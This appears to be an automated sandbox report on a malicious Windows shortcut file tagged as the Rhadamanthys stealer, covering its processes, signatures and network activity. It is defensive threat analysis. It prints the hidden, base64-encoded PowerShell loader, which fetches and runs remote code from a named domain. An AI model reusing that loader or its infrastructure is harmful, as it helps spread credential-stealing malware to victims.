Malware Analysis Report

2024-11-13 13:50

Sample ID 240405-nc45bsad2x
Target DOC5723-57235723.lnk
SHA256 eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0
Tags
rhadamanthys stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

eb64ad37414cc8937627a687e9c37e485053140632e4977c19b79180adb080e0

Threat Level: Known bad

The file DOC5723-57235723.lnk was found to be: Known bad.

Malicious Activity Summary

rhadamanthys stealer

Rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Blocklisted process makes network request

Checks computer location settings

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-05 11:16

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-05 11:16

Reported

2024-04-05 11:18

Platform

win7-20240221-en

Max time kernel

119s

Max time network

123s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\DOC5723-57235723.lnk

Signatures

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2200 wrote to memory of 2452 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2200 wrote to memory of 2452 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2200 wrote to memory of 2452 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\DOC5723-57235723.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

Network

N/A

Files

memory/2452-38-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

memory/2452-39-0x00000000022E0000-0x00000000022E8000-memory.dmp

memory/2452-40-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

memory/2452-41-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/2452-42-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

memory/2452-43-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/2452-44-0x0000000002820000-0x00000000028A0000-memory.dmp

memory/2452-45-0x000007FEF56D0000-0x000007FEF606D000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-05 11:16

Reported

2024-04-05 11:18

Platform

win10v2004-20240226-en

Max time kernel

147s

Max time network

152s

Command Line

sihost.exe

Signatures

Rhadamanthys

stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess

Description Indicator Process Target
PID 1244 created 2436 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\sihost.exe

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-557049126-2506969350-2798870634-1000\Control Panel\International\Geo\Nation C:\Windows\system32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\sihost.exe

sihost.exe

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\DOC5723-57235723.lnk

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAG8AcABlAG4ALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==

C:\Windows\system32\dialer.exe

"C:\Windows\system32\dialer.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 160.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 imanikuu.com udp
US 64.20.41.122:443 imanikuu.com tcp
US 8.8.8.8:53 122.41.20.64.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 145.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 22.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 90.136.73.23.in-addr.arpa udp
US 8.8.8.8:53 6.173.189.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4c2qydy1.la3.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1244-7-0x00000253A7D50000-0x00000253A7D72000-memory.dmp

memory/1244-12-0x00007FF8839D0000-0x00007FF884491000-memory.dmp

memory/1244-13-0x00000253A7DA0000-0x00000253A7DB0000-memory.dmp

memory/1244-14-0x00000253AA2A0000-0x00000253AA2FE000-memory.dmp

memory/1244-15-0x00000253A7D90000-0x00000253A7DA0000-memory.dmp

memory/1244-16-0x00000253AA310000-0x00000253AA710000-memory.dmp

memory/1244-18-0x00000253AA310000-0x00000253AA710000-memory.dmp

memory/1244-17-0x00000253AA310000-0x00000253AA710000-memory.dmp

memory/1244-19-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

memory/1244-21-0x00000253AA310000-0x00000253AA710000-memory.dmp

memory/1244-20-0x00007FF8A1B50000-0x00007FF8A1C0E000-memory.dmp

memory/1244-22-0x00007FF89F780000-0x00007FF89FA49000-memory.dmp

memory/2480-23-0x000001D45C680000-0x000001D45C689000-memory.dmp

memory/2480-28-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp

memory/1244-29-0x00007FF8839D0000-0x00007FF884491000-memory.dmp

memory/1244-30-0x00000253A7D90000-0x00000253A7DA0000-memory.dmp

memory/2480-31-0x00007FF8A1C70000-0x00007FF8A1E65000-memory.dmp

memory/2480-34-0x00007FF8A1B50000-0x00007FF8A1C0E000-memory.dmp

memory/1244-33-0x00000253AA310000-0x00000253AA710000-memory.dmp

memory/2480-35-0x00007FF89F780000-0x00007FF89FA49000-memory.dmp

memory/2480-32-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp

memory/2480-36-0x000001D45E1C0000-0x000001D45E5C0000-memory.dmp